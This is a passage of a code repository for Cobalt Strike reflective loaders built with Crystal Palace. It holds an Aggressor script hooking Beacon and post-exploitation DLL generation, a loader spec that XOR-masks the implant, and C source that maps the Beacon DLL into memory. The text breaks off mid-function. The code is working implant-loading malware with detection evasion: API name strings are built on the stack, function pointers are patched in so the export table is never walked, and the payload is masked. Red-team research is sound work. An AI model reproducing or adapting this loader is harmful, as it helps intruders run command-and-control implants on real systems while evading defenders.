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# Prerequisites
*.d
# Object files
*.ko
*.obj
*.elf
# Linker output
*.ilk
*.map
*.exp
# Precompiled Headers
*.gch
*.pch
# Libraries
*.lib
*.a
*.la
*.lo
# Shared objects (inc. Windows DLLs)
*.dll
*.so
*.so.*
*.dylib
# Executables
*.exe
*.out
*.app
*.i*86
*.x86_64
*.hex
# Debug files
*.dSYM/
*.su
*.idb
*.pdb
# Kernel Module Compile Results
*.mod*
*.cmd
.tmp_versions/
modules.order
Module.symvers
Mkfile.old
dkms.conf
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If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<https://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>.
Makefile
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all:
cd udrl && make $@
cd patch-udrl && make $@
cd postex-udrl && make $@
clean:
cd udrl && make $@
cd patch-udrl && make $@
cd postex-udrl && make $@
README.md
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# Crystal Loaders
A small collection of [Crystal Palace](https://tradecraftgarden.org/crystalpalace.html) PIC loaders designed for use with Cobalt Strike.
## Setup
1. Download the Crystal Palace Release distrubtion.
2. Extract the tar archive and copy `crystalpalace.jar` to the same directory as `cobaltstrike.exe`.
3. Load `crystalpalace.cna` into Cobalt Strike.
4. Profit.
## Tradecraft Garden
Read more about Crystal Palace and the Tradecraft Garden [here](https://tradecraftgarden.org/).
### Notes
1. I've only written for x64.
crystalpalace.cna
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import crystalpalace.spec.* from: crystalpalace.jar;
import java.util.HashMap;
# ------------------------------------
# $1 - Beacon payload file name
# $2 - Beacon payload (dll binary)
# $3 - Beacon architecture (x86/x64)
# ------------------------------------
set BEACON_RDLL_GENERATE {
local('$beacon $arch $spec_path $spec $payload $len');
$beacon = $2;
$arch = $3;
if ($arch eq "x86") {
warn("x86 not supported, returning default.");
return $null;
}
$spec_path = getFileProper(script_resource("udrl"), "loader.spec");
$spec = [LinkSpec Parse: $spec_path];
$payload = [$spec run: $beacon, [new HashMap]];
$len = strlen($payload);
if ($len == 0) {
warn("Failed to build UDRL, returning default.");
return $null;
}
println("Built UDRL: " . $len . " bytes.");
return $payload;
}
# ------------------------------------
# $1 - Beacon payload file name
# $2 - Beacon architecture (x86/x64)
# ------------------------------------
set BEACON_RDLL_SIZE {
return "0";
}
# ------------------------------------
# $1 - Beacon payload file name
# $2 - Beacon payload (dll binary)
# $3 - Beacon architecture (x86/x64)
# $4 - Parent beacon ID
# $5 - GetModuleHandleA pointer
# $6 - GetProcAddress pointer
# ------------------------------------
set BEACON_RDLL_GENERATE_LOCAL {
local('$beacon $arch $spec_path $spec $hashMap $final $len');
$beacon = $2;
$arch = $3;
if ($arch eq "x86") {
warn("x86 not supported, returning default.");
return $null;
}
$spec_path = getFileProper(script_resource("patch-udrl"), "loader.spec");
$spec = [LinkSpec Parse: $spec_path];
$hashMap = [new HashMap];
[$hashMap put: "\$GMH", cast($5, 'b')];
[$hashMap put: "\$GPA", cast($6, 'b')];
$final = [$spec run: $beacon, $hashMap];
$len = strlen($final);
if ($len == 0) {
warn("Failed to build UDRL, returning default.");
return $null;
}
println("Built UDRL: " . $len . " bytes.");
return $final;
}
# ------------------------------------
# $1 – Post-ex payload file name
# $2 – Post-ex payload (dll binary)
# $3 – Post-ex architecture (x86/x64)
# $4 – parent Beacon ID
# $5 – GetModuleHandle pointer
# $6 – GetProcAddress pointer
# ------------------------------------
set POSTEX_RDLL_GENERATE {
local('$postex $arch $spec_path $spec $hashMap $final $len');
$postex = $2;
$arch = $3;
if ($arch eq "x86") {
warn("x86 not supported, returning default.");
return $null;
}
$spec_path = getFileProper(script_resource("postex-udrl"), "loader.spec");
$spec = [LinkSpec Parse: $spec_path];
$hashMap = [new HashMap];
[$hashMap put: "\$GMH", cast($5, 'b')];
[$hashMap put: "\$GPA", cast($6, 'b')];
$final = [$spec run: $postex, $hashMap];
$len = strlen($final);
if ($len == 0) {
warn("Failed to build reflective loader");
return $null;
}
println("Built postex UDRL: " . $len . " bytes.");
return $final;
}
patch-udrl/Makefile
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CC_64 = x86_64-w64-mingw32-gcc
all: bin/loader.x64.o
bin:
mkdir bin
# x64
bin/loader.x64.o: bin
$(CC_64) -DWIN_X64 -shared -masm=intel -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o
# other
clean:
rm -f bin/*
patch-udrl/README.md
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# Patch Loader
This loader is used when the BEACON_RDLL_GENERATE_LOCAL hook is called,
i.e. when Beacon commands like `spawn` are used.
It's practically identical to the normal BEACON_RDLL_GENERATE hook but it receives
function pointers to GetModuleHandleA and GetProcAddress from the parent Beacon.
These are patched into the loader so that it doesn't have to walk the EAT to find APIs.
This makes the loader more OPSEC-safe against mechanisms that detect this behaviour.
## Notes
1. `stage.smartinject` must be `true` in Malleable C2.
2. `stage.smartinject` is not yet supported for prepended loaders, so this loader
is useless until stomped loaders are deprecated from CS.
3. Also means this one is largely untested.
patch-udrl/bin/loader.x64.o
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patch-udrl/loader.spec
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name "Beacon Patch Loader"
describe "A reflective loader that receives key function pointers"
author "Daniel Duggan (@_RastaMouse)"
x64:
load "bin/loader.x64.o"
make pic +optimize +disco +mutate
patch "pGetModuleHandle" $GMH
patch "pGetProcAddress" $GPA
generate $KEY 8192
push $DLL
xor $KEY
preplen
link "beacon_dll"
push $KEY
preplen
link "xor_key"
export
patch-udrl/src/beacon.h
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/*
* From https://raw.githubusercontent.com/Cobalt-Strike/bof-vs/refs/heads/main/BOF-Template/beacon.h
*/
#ifndef _BEACON_H_
#define _BEACON_H_
#include <windows.h>
typedef enum {
PURPOSE_EMPTY,
PURPOSE_GENERIC_BUFFER,
PURPOSE_BEACON_MEMORY,
PURPOSE_SLEEPMASK_MEMORY,
PURPOSE_BOF_MEMORY,
PURPOSE_USER_DEFINED_MEMORY = 1000
} ALLOCATED_MEMORY_PURPOSE;
typedef enum {
LABEL_EMPTY,
LABEL_BUFFER,
LABEL_PEHEADER,
LABEL_TEXT,
LABEL_RDATA,
LABEL_DATA,
LABEL_PDATA,
LABEL_RELOC,
LABEL_USER_DEFINED = 1000
} ALLOCATED_MEMORY_LABEL;
typedef enum {
METHOD_UNKNOWN,
METHOD_VIRTUALALLOC,
METHOD_HEAPALLOC,
METHOD_MODULESTOMP,
METHOD_NTMAPVIEW,
METHOD_USER_DEFINED = 1000,
} ALLOCATED_MEMORY_ALLOCATION_METHOD;
typedef struct _HEAPALLOC_INFO {
PVOID HeapHandle;
BOOL DestroyHeap;
} HEAPALLOC_INFO, *PHEAPALLOC_INFO;
typedef struct _MODULESTOMP_INFO {
HMODULE ModuleHandle;
} MODULESTOMP_INFO, *PMODULESTOMP_INFO;
typedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION {
HEAPALLOC_INFO HeapAllocInfo;
MODULESTOMP_INFO ModuleStompInfo;
PVOID Custom;
} ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION;
typedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION {
BOOL Cleanup;
ALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod;
ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation;
} ALLOCATED_MEMORY_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_CLEANUP_INFORMATION;
typedef struct _ALLOCATED_MEMORY_SECTION {
ALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development
PVOID BaseAddress; // Pointer to virtual address of section
SIZE_T VirtualSize; // Virtual size of the section
DWORD CurrentProtect; // Current memory protection of the section
DWORD PreviousProtect; // The previous memory protection of the section (prior to masking/unmasking)
BOOL MaskSection; // A boolean to indicate whether the section should be masked
} ALLOCATED_MEMORY_SECTION, *PALLOCATED_MEMORY_SECTION;
typedef struct _ALLOCATED_MEMORY_REGION {
ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory
PVOID AllocationBase; // The base address of the allocated memory block
SIZE_T RegionSize; // The size of the allocated memory block
DWORD Type; // The type of memory allocated
ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures
ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation
} ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION;
typedef struct {
ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6];
} ALLOCATED_MEMORY, *PALLOCATED_MEMORY;
typedef struct
{
PVOID fnAddr;
PVOID jmpAddr;
DWORD sysnum;
} SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY;
typedef struct
{
SYSCALL_API_ENTRY ntAllocateVirtualMemory;
SYSCALL_API_ENTRY ntProtectVirtualMemory;
SYSCALL_API_ENTRY ntFreeVirtualMemory;
SYSCALL_API_ENTRY ntGetContextThread;
SYSCALL_API_ENTRY ntSetContextThread;
SYSCALL_API_ENTRY ntResumeThread;
SYSCALL_API_ENTRY ntCreateThreadEx;
SYSCALL_API_ENTRY ntOpenProcess;
SYSCALL_API_ENTRY ntOpenThread;
SYSCALL_API_ENTRY ntClose;
SYSCALL_API_ENTRY ntCreateSection;
SYSCALL_API_ENTRY ntMapViewOfSection;
SYSCALL_API_ENTRY ntUnmapViewOfSection;
SYSCALL_API_ENTRY ntQueryVirtualMemory;
SYSCALL_API_ENTRY ntDuplicateObject;
SYSCALL_API_ENTRY ntReadVirtualMemory;
SYSCALL_API_ENTRY ntWriteVirtualMemory;
SYSCALL_API_ENTRY ntReadFile;
SYSCALL_API_ENTRY ntWriteFile;
SYSCALL_API_ENTRY ntCreateFile;
SYSCALL_API_ENTRY ntQueueApcThread;
SYSCALL_API_ENTRY ntCreateProcess;
SYSCALL_API_ENTRY ntOpenProcessToken;
SYSCALL_API_ENTRY ntTestAlert;
SYSCALL_API_ENTRY ntSuspendProcess;
SYSCALL_API_ENTRY ntResumeProcess;
SYSCALL_API_ENTRY ntQuerySystemInformation;
SYSCALL_API_ENTRY ntQueryDirectoryFile;
SYSCALL_API_ENTRY ntSetInformationProcess;
SYSCALL_API_ENTRY ntSetInformationThread;
SYSCALL_API_ENTRY ntQueryInformationProcess;
SYSCALL_API_ENTRY ntQueryInformationThread;
SYSCALL_API_ENTRY ntOpenSection;
SYSCALL_API_ENTRY ntAdjustPrivilegesToken;
SYSCALL_API_ENTRY ntDeviceIoControlFile;
SYSCALL_API_ENTRY ntWaitForMultipleObjects;
} SYSCALL_API, *PSYSCALL_API;
/* Additional Run Time Library (RTL) addresses used to support system calls.
* If they are not set then system calls that require them will fall back
* to the Standard Windows API.
*
* Required to support the following system calls:
* ntCreateFile
*/
typedef struct
{
PVOID rtlDosPathNameToNtPathNameUWithStatusAddr;
PVOID rtlFreeHeapAddr;
PVOID rtlGetProcessHeapAddr;
} RTL_API, *PRTL_API;
typedef struct
{
SYSCALL_API syscalls;
RTL_API rtls;
} BEACON_SYSCALLS, *PBEACON_SYSCALLS;
/* Beacon User Data
*
* version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch
* e.g. 0x040900 -> CS 4.9
* 0x041000 -> CS 4.10
*/
#define COBALT_STRIKE_VERSION 0x041100
#define BOF_MEMORY_SIZE 0x10000
#define SLEEPMASK_MEMORY_SIZE 0x10000
#define DLL_BEACON_START 0x04
#define DLL_BEACON_USER_DATA 0x0d
#define BEACON_USER_DATA_CUSTOM_SIZE 32
typedef struct
{
unsigned int version;
PSYSCALL_API syscalls;
char custom[BEACON_USER_DATA_CUSTOM_SIZE];
PRTL_API rtls;
PALLOCATED_MEMORY allocatedMemory;
} USER_DATA, * PUSER_DATA;
#endif // _BEACON_H_
patch-udrl/src/loader.c
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/*
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
*
* This file is part of Tradecraft Garden
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, see <https://www.gnu.org/licenses/>.
*/
/* function prototypes */
void ReflectiveLoader();
/* this is the REAL entry point to this whole mess and it needs to go first! */
__attribute__((noinline, no_reorder)) void go() {
ReflectiveLoader();
}
/*
* loader.h is a refactored Reflective Loader and some macros/definitions we need.
* it has several functions intended to be used across loaders.
*/
#include "loaderdefs.h"
#include "loader.h"
/* build a table of functions we need/want */
#define WIN32_FUNC( x ) __typeof__( x ) * x
typedef struct {
WIN32_FUNC(LoadLibraryA);
WIN32_FUNC(GetModuleHandleA);
WIN32_FUNC(GetProcAddress);
WIN32_FUNC(VirtualProtect);
WIN32_FUNC(VirtualAlloc);
WIN32_FUNC(VirtualFree);
} WIN32FUNCS;
__typeof__(GetModuleHandleA) * pGetModuleHandle __attribute__((section(".text")));
__typeof__(GetProcAddress) * pGetProcAddress __attribute__((section(".text")));
void findNeededFunctions(WIN32FUNCS * funcs) {
/*
* use pGetModuleHandle & pGetProcAddress
* instead of walking the EAT (findFunctionByHash)
*/
funcs->GetModuleHandleA = (__typeof__(GetModuleHandleA) *) pGetModuleHandle;
funcs->GetProcAddress = (__typeof__(GetProcAddress) *) pGetProcAddress;
char k32[] = { 'K', 'e', 'r', 'n', 'e', 'l', '3', '2', 0 };
HMODULE hModule = funcs->GetModuleHandleA(k32);
char ll[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', 0 };
funcs->LoadLibraryA = (__typeof__(LoadLibraryA) *) funcs->GetProcAddress(hModule, ll);
char va[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 0 };
funcs->VirtualAlloc = (__typeof__(VirtualAlloc) *) funcs->GetProcAddress(hModule, va);
char vp[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't', 0 };
funcs->VirtualProtect = (__typeof__(VirtualProtect) *) funcs->GetProcAddress(hModule, vp);
char fr[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'F', 'r', 'e', 'e', 0 };
funcs->VirtualFree = (__typeof__(VirtualFree) *) funcs->GetProcAddress(hModule, fr);
}
/*
* This is the Crystal Palace convention for getting ahold of data linked with this loader.
*/
char __BEACON_DLL[0] __attribute__((section("beacon_dll")));
char __XOR_KEY[0] __attribute__((section("xor_key")));
char * getLoaderStart() {
return (char *)&go;
}
char * findBeaconDLL() {
return (char *)&__BEACON_DLL;
}
char * findXorKey() {
return (char *)&__XOR_KEY;
}
/*
* Our embedded resources are masked, so we need to unmask them.
*/
typedef struct {
int length;
char value[];
} _RESOURCE;
char * unmaskAndLoad(WIN32FUNCS * funcs) {
char * srcData = findBeaconDLL();
char * dst;
_RESOURCE * key;
_RESOURCE * src;
/* parse our preplen + xor'd $KEY and our masked data too */
key = (_RESOURCE *)findXorKey();
src = (_RESOURCE *)srcData;
/* allocate memory for our unmasked content */
dst = funcs->VirtualAlloc(NULL, src->length, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
/* unmask it */
for (int x = 0; x < src->length; x++) {
dst[x] = src->value[x] ^ key->value[x % key->length];
}
return dst;
}
/*
* Our reflective loader itself, have fun, go nuts!
*/
void ReflectiveLoader() {
char * loaderStart;
char * rawBeaconDll;
char * loadedBeaconDll;
char * bofMemory;
char * sleepMaskMemory;
WIN32FUNCS funcs;
DLLDATA beaconData;
USER_DATA bud;
ALLOCATED_MEMORY memory;
/* initialise bud */
_memset(&bud, 0, sizeof(USER_DATA));
_memset(&memory, 0, sizeof(ALLOCATED_MEMORY));
bud.version = COBALT_STRIKE_VERSION;
bud.allocatedMemory = &memory;
/* get start of this loader */
loaderStart = getLoaderStart();
/* resolve Win32 functions */
findNeededFunctions(&funcs);
/* find Beacon DLL appended to this loader */
rawBeaconDll = unmaskAndLoad(&funcs);
/* parse the Beacon DLL */
ParseDLL(rawBeaconDll, &beaconData);
/* allocate memory for Beacon */
loadedBeaconDll = funcs.VirtualAlloc(NULL, SizeOfDLL(&beaconData), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
/* define cleanup information for VirtualAlloc */
ALLOCATED_MEMORY_CLEANUP_INFORMATION vaCleanup;
_memset(&vaCleanup, 0, sizeof(ALLOCATED_MEMORY_CLEANUP_INFORMATION));
vaCleanup.AllocationMethod = METHOD_VIRTUALALLOC;
vaCleanup.Cleanup = TRUE;
/* set the region info for Beacon */
bud.allocatedMemory->AllocatedMemoryRegions[0].Purpose = PURPOSE_BEACON_MEMORY;
bud.allocatedMemory->AllocatedMemoryRegions[0].AllocationBase = loadedBeaconDll;
bud.allocatedMemory->AllocatedMemoryRegions[0].RegionSize = beaconData.NtHeaders->OptionalHeader.SizeOfImage;
bud.allocatedMemory->AllocatedMemoryRegions[0].Type = MEM_PRIVATE;
bud.allocatedMemory->AllocatedMemoryRegions[0].CleanupInformation = vaCleanup;
/* load Beacon into memory */
LoadDLL(&beaconData, rawBeaconDll, loadedBeaconDll);
/* process its imports */
ProcessImports((IMPORTFUNCS *)&funcs, &beaconData, loadedBeaconDll);
/* fix memory permissions and track each section */
FixSectionsAndTrackMemory((IMPORTFUNCS *)&funcs, &beaconData, loadedBeaconDll, &bud.allocatedMemory->AllocatedMemoryRegions[0]);
/* allocate memory for BOF & sleepmask */
bofMemory = funcs.VirtualAlloc(NULL, BOF_MEMORY_SIZE, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
sleepMaskMemory = funcs.VirtualAlloc(NULL, SLEEPMASK_MEMORY_SIZE, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
/* set memory info */
bud.allocatedMemory->AllocatedMemoryRegions[1].Purpose = PURPOSE_BOF_MEMORY;
bud.allocatedMemory->AllocatedMemoryRegions[1].AllocationBase = bofMemory;
bud.allocatedMemory->AllocatedMemoryRegions[1].RegionSize = BOF_MEMORY_SIZE;
bud.allocatedMemory->AllocatedMemoryRegions[1].Type = MEM_PRIVATE;
bud.allocatedMemory->AllocatedMemoryRegions[1].CleanupInformation = vaCleanup;
bud.allocatedMemory->AllocatedMemoryRegions[1].Sections[0].Label = LABEL_BUFFER;
bud.allocatedMemory->AllocatedMemoryRegions[1].Sections[0].BaseAddress = bofMemory;
bud.allocatedMemory->AllocatedMemoryRegions[1].Sections[0].VirtualSize = BOF_MEMORY_SIZE;
bud.allocatedMemory->AllocatedMemoryRegions[1].Sections[0].MaskSection = TRUE;
bud.allocatedMemory->AllocatedMemoryRegions[1].Sections[0].CurrentProtect = PAGE_READWRITE;
bud.allocatedMemory->AllocatedMemoryRegions[1].Sections[0].PreviousProtect = PAGE_READWRITE;
bud.allocatedMemory->AllocatedMemoryRegions[2].Purpose = PURPOSE_SLEEPMASK_MEMORY;
bud.allocatedMemory->AllocatedMemoryRegions[2].AllocationBase = sleepMaskMemory;
bud.allocatedMemory->AllocatedMemoryRegions[2].RegionSize = SLEEPMASK_MEMORY_SIZE;
bud.allocatedMemory->AllocatedMemoryRegions[2].Type = MEM_PRIVATE;
bud.allocatedMemory->AllocatedMemoryRegions[2].CleanupInformation = vaCleanup;
bud.allocatedMemory->AllocatedMemoryRegions[2].Sections[0].Label = LABEL_BUFFER;
bud.allocatedMemory->AllocatedMemoryRegions[2].Sections[0].BaseAddress = sleepMaskMemory;
bud.allocatedMemory->AllocatedMemoryRegions[2].Sections[0].VirtualSize = SLEEPMASK_MEMORY_SIZE;
bud.allocatedMemory->AllocatedMemoryRegions[2].Sections[0].MaskSection = FALSE;
bud.allocatedMemory->AllocatedMemoryRegions[2].Sections[0].CurrentProtect = PAGE_READWRITE;
bud.allocatedMemory->AllocatedMemoryRegions[2].Sections[0].PreviousProtect = PAGE_READWRITE;
/* get the entry point */
DLLMAIN_FUNC entryPoint = EntryPoint(&beaconData, loadedBeaconDll);
/* free the unmasked copy */
funcs.VirtualFree(rawBeaconDll, 0, MEM_RELEASE);
/* call it three times */
/* DLL_BEACON_USER_DATA */
entryPoint((HINSTANCE)0, DLL_BEACON_USER_DATA, &bud);
/* DLL_PROCESS_ATTACH */
entryPoint((HINSTANCE)loadedBeaconDll, DLL_PROCESS_ATTACH, NULL);
/* DLL_BEACON_START */
entryPoint((HINSTANCE)loaderStart, DLL_BEACON_START, NULL);
}
patch-udrl/src/loader.h
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/*
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
*
* This file is part of Tradecraft Garden
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, see <https://www.gnu.org/licenses/>.
*/
#include "beacon.h"
#include "stdlib.h"
typedef struct {
__typeof__(LoadLibraryA) * LoadLibraryA;
__typeof__(GetProcAddress) * GetProcAddress;
__typeof__(VirtualProtect) * VirtualProtect;
} IMPORTFUNCS;
/*
* implementation begins below.
*/
#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) )
#define DEREF( name )*(UINT_PTR *)(name)
typedef struct {
WORD offset:12;
WORD type:4;
} __IMAGE_RELOC, *__PIMAGE_RELOC;
typedef struct {
IMAGE_DOS_HEADER * DosHeader;
IMAGE_NT_HEADERS * NtHeaders;
IMAGE_OPTIONAL_HEADER * OptionalHeader;
} DLLDATA;
IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry) {
return dll->OptionalHeader->DataDirectory + entry;
}
void ProcessRelocation(DLLDATA * dll, char * src, char * dst, IMAGE_BASE_RELOCATION * relocation, ULONG_PTR newBaseAddress) {
void * relocAddr = PTR_OFFSET(dst, relocation->VirtualAddress);
DWORD relocEntries = (relocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(__IMAGE_RELOC);
__IMAGE_RELOC * relocEntry = (__IMAGE_RELOC *)PTR_OFFSET( relocation, sizeof(IMAGE_BASE_RELOCATION) );
for (int x = 0; x < relocEntries; x++) {
if (relocEntry->type == IMAGE_REL_BASED_DIR64) {
*(ULONG_PTR *)(relocAddr + relocEntry->offset) += newBaseAddress;
}
else if (relocEntry->type == IMAGE_REL_BASED_HIGHLOW) {
*(DWORD *)(relocAddr + relocEntry->offset) += (DWORD)newBaseAddress;
}
else if (relocEntry->type == IMAGE_REL_BASED_HIGH) {
*(WORD *)(relocAddr + relocEntry->offset) += HIWORD(newBaseAddress);
}
else if (relocEntry->type == IMAGE_REL_BASED_LOW) {
*(WORD *)(relocAddr + relocEntry->offset) += LOWORD(newBaseAddress);
}
relocEntry++;
}
}
ALLOCATED_MEMORY_LABEL GetLabelFromSectionHeader(IMAGE_SECTION_HEADER * sectionHdr) {
/* pic strings */
char text[] = { '.', 't', 'e', 'x', 't', '\0' };
char rdata[] = { '.', 'r', 'd', 'a', 't', 'a', '\0' };
char data[] = { '.', 'd', 'a', 't', 'a', '\0' };
char pdata[] = { '.', 'p', 'd', 'a', 't', 'a', '\0' };
char reloc[] = { '.', 'r', 'e', 'l', 'o', 'c', '\0' };
if (_strncmp((char *)sectionHdr->Name, (char *)text, IMAGE_SIZEOF_SHORT_NAME) == 0) {
return LABEL_TEXT;
}
if (_strncmp((char *)sectionHdr->Name, (char *)rdata, IMAGE_SIZEOF_SHORT_NAME) == 0) {
return LABEL_RDATA;
}
if (_strncmp((char *)sectionHdr->Name, (char *)data, IMAGE_SIZEOF_SHORT_NAME) == 0) {
return LABEL_DATA;
}
if (_strncmp((char *)sectionHdr->Name, (char *)pdata, IMAGE_SIZEOF_SHORT_NAME) == 0) {
return LABEL_PDATA;
}
if (_strncmp((char *)sectionHdr->Name, (char *)reloc, IMAGE_SIZEOF_SHORT_NAME) == 0) {
return LABEL_RELOC;
}
return LABEL_EMPTY;
}
void FixSectionsAndTrackMemory(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst, ALLOCATED_MEMORY_REGION * region) {
DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER * sectionHdr = NULL;
void * sectionDst = NULL;
DWORD newProtection = 0;
DWORD oldProtection = 0;
/* our first section! */
sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader);
for (int x = 0; x < numberOfSections; x++) {
/* our destination data */
sectionDst = dst + sectionHdr->VirtualAddress;
/* set memory based on header characteristics */
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) {
newProtection = PAGE_WRITECOPY;
}
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) {
newProtection = PAGE_READONLY;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE)) {
newProtection = PAGE_READWRITE;
}
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) {
newProtection = PAGE_EXECUTE;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
newProtection = PAGE_EXECUTE_WRITECOPY;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
newProtection = PAGE_EXECUTE_READ;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE)) {
newProtection = PAGE_EXECUTE_READWRITE;
}
funcs->VirtualProtect(sectionDst, sectionHdr->SizeOfRawData, newProtection, &oldProtection);
/* set the region info */
region->Sections[x].Label = GetLabelFromSectionHeader(sectionHdr);
region->Sections[x].BaseAddress = sectionDst;
region->Sections[x].VirtualSize = sectionHdr->SizeOfRawData;
region->Sections[x].CurrentProtect = newProtection;
region->Sections[x].PreviousProtect = newProtection;
region->Sections[x].MaskSection = TRUE;
/* advance to our next section */
sectionHdr++;
}
}
void ProcessRelocations(DLLDATA * dll, char * src, char * dst) {
IMAGE_DATA_DIRECTORY * relocationData;
ULONG_PTR newBaseAddress;
IMAGE_BASE_RELOCATION * relocation;
relocationData = GetDataDirectory(dll, IMAGE_DIRECTORY_ENTRY_BASERELOC);
// calculate the base address delta and perform relocations (even if we load at desired image base)
newBaseAddress = (ULONG_PTR)dst - (ULONG_PTR)dll->OptionalHeader->ImageBase;
/* check if there are relocations present */
if (relocationData->Size) {
relocation = (IMAGE_BASE_RELOCATION *)( dst + relocationData->VirtualAddress );
while (relocation->SizeOfBlock) {
/* process this next relocation */
ProcessRelocation(dll, src, dst, relocation, newBaseAddress);
/* go on to our next relocation */
relocation = (IMAGE_BASE_RELOCATION *)PTR_OFFSET(relocation, relocation->SizeOfBlock);
}
}
}
void ProcessImport(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst, IMAGE_IMPORT_DESCRIPTOR * importDesc) {
void * hLib;
IMAGE_THUNK_DATA * firstThunk;
IMAGE_THUNK_DATA * originalFirstThunk;
IMAGE_IMPORT_BY_NAME * importByName;
ULONG_PTR importByOrdinal;
/* load whatever library we need here */
hLib = (void *)funcs->LoadLibraryA((char *)PTR_OFFSET(dst, importDesc->Name));
/* get our thunks */
firstThunk = (IMAGE_THUNK_DATA *)PTR_OFFSET( dst, importDesc->FirstThunk );
originalFirstThunk = (IMAGE_THUNK_DATA *)PTR_OFFSET( dst, importDesc->OriginalFirstThunk );
/* NOTE: IMAGE_THUNK_DATA has one union member, u1. All of the fields are the same size.
* The different member names seem more for semantics than anything else. We're skipping the
* field names in the union and just stomping over whatever is in this pointer-sized structure */
/* https://devblogs.microsoft.com/oldnewthing/20231129-00/?p=109077 */
while ( DEREF(firstThunk) ) {
if ( originalFirstThunk && (originalFirstThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) ) {
/*
* I'm OK passing a ULONG_PTR with our ordinal. Windows (will likely) just check
* that our pointer is < MAXUSHORT ala ReactOS:
* https://doxygen.reactos.org/de/de3/dll_2win32_2kernel32_2client_2loader_8c.html#a0f3819de0cdab6061ec9e3432a85bf85
*/
importByOrdinal = IMAGE_ORDINAL(originalFirstThunk->u1.Ordinal);
DEREF(firstThunk) = (ULONG_PTR)funcs->GetProcAddress(hLib, (char *)importByOrdinal);
}
/* OK, we are doing an import by name. */
else {
importByName = (IMAGE_IMPORT_BY_NAME *)PTR_OFFSET( dst, firstThunk->u1.AddressOfData );
DEREF(firstThunk) = (ULONG_PTR)funcs->GetProcAddress(hLib, (char *)importByName->Name);
}
/* increment our pointers, to look at next import option */
firstThunk++;
if (originalFirstThunk)
originalFirstThunk++;
}
}
void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst) {
